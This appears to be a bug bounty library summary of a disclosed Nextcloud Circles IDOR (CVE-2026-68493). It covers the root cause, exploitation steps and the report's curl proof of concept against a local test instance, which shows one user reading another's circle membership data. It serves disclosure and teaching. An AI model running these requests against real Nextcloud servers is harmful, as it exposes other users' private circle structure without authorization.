# Team membership information returned on API level based on ID

Nextcloud Circles link endpoint returned any user's circle membership details to any authenticated user by ID, leaking private circle structure and hierarchy.

- Payout: $200
- Severity: low
- Program: Nextcloud
- Found by (vendor credit): Melanie (milou)
- Found by: milou
- Disclosed: 2026-09-17
- CVE: CVE-2026-68493
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/3484601
- Library page: https://bugbountylibrary.com/r/h1%3A3484601
- Tags: area:oss domain:oss domain:web impact:data-leak kind:bounty platform:hackerone sev:low tech:php technique:source-review vuln:access-control vuln:idor vuln:info-disclosure

**Target:** OCS API endpoint /apps/circles/link/{circleId}/{singleId}
**Root cause:** MembershipService::getMembership() and MembershipRequest::getMembership() query by circleId/singleId with no authorization check, and LocalController::link() exposes it to any authenticated user.
**Steps:**
1. Authenticate as attacker with any valid account
2. Obtain or guess a victim circleId and singleId
3. `GET /ocs/v2.php/apps/circles/link/{circleId}/{singleId}` with `OCS-APIRequest: true`
4. Observe full membership data (level, inheritance path, circle details) returned identically to victim's own request
**How found:** Code review of the Circles app: noticed getMembership() takes no initiator/permission parameter and the DB query only filters by circleId and singleId, then confirmed via two-account PoC that attacker and victim responses are identical.
**Exploitation:** Any authenticated user issues GET requests to the link endpoint with arbitrary circleId/singleId pairs; the response returns membership level, inheritance path, and detailed circle info. Non-existent combos throw MembershipNotFoundException, giving an enumeration oracle.
**Insight:** In Nextcloud apps, methods lacking an $initiator parameter and DB queries filtering only by object IDs (no membership JOIN) are strong IDOR signals; check @NoAdminRequired endpoints that call such services with detailed=true.

## Proof of concept (copied exactly from the original report)

**Attacker GET request to link endpoint for victim's membership**

```
curl -X GET "http://localhost:8080/ocs/v2.php/apps/circles/link/r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk/ovYvboLMBNGvRXSkqhgllIKo6T7fvZl" \
  -H "OCS-APIRequest: true" \
  -u victim:Testing-/:321SS

**Response (victim accessing their own membership - expected):**
<data>
  <singleId>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</singleId>
  <circleId>r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk</circleId>
  <circleConfig>0</circleConfig>
  <level>9</level>
  <inheritanceFirst>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</inheritanceFirst>
  <inheritanceLast>r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk</inheritanceLast>
  <inheritancePath>
    <element>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</element>
  </inheritancePath>
  <inheritanceDepth>1</inheritanceDepth>
  <inheritanceDetails>
    <element>
      <id>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</id>
      <name>user:victim:ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</name>
      <displayName>victim</displayName>
      <userId>victim</userId>
      <owner>
        <userId>victim</userId>
      </owner>
    </element>
  </inheritanceDetails>
</data>

3. **Access the SAME membership information as an attacker (unauthorized access):**
curl -X GET "http://localhost:8080/ocs/v2.php/apps/circles/link/r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk/ovYvboLMBNGvRXSkqhgllIKo6T7fvZl" \
  -H "OCS-APIRequest: true" \
  -u attacker:Testing-/:321S
```

**Victim creates circle returning IDs used in PoC**

```
curl -X POST "http://localhost:8080/ocs/v2.php/apps/circles/circles" \
  -H "OCS-APIRequest: true" \
  -H "Content-Type: application/json" \
  -u victim:Testing-/:321SS \
  -d '{"name": "Victim Secret Circle", "personal": false}'
```

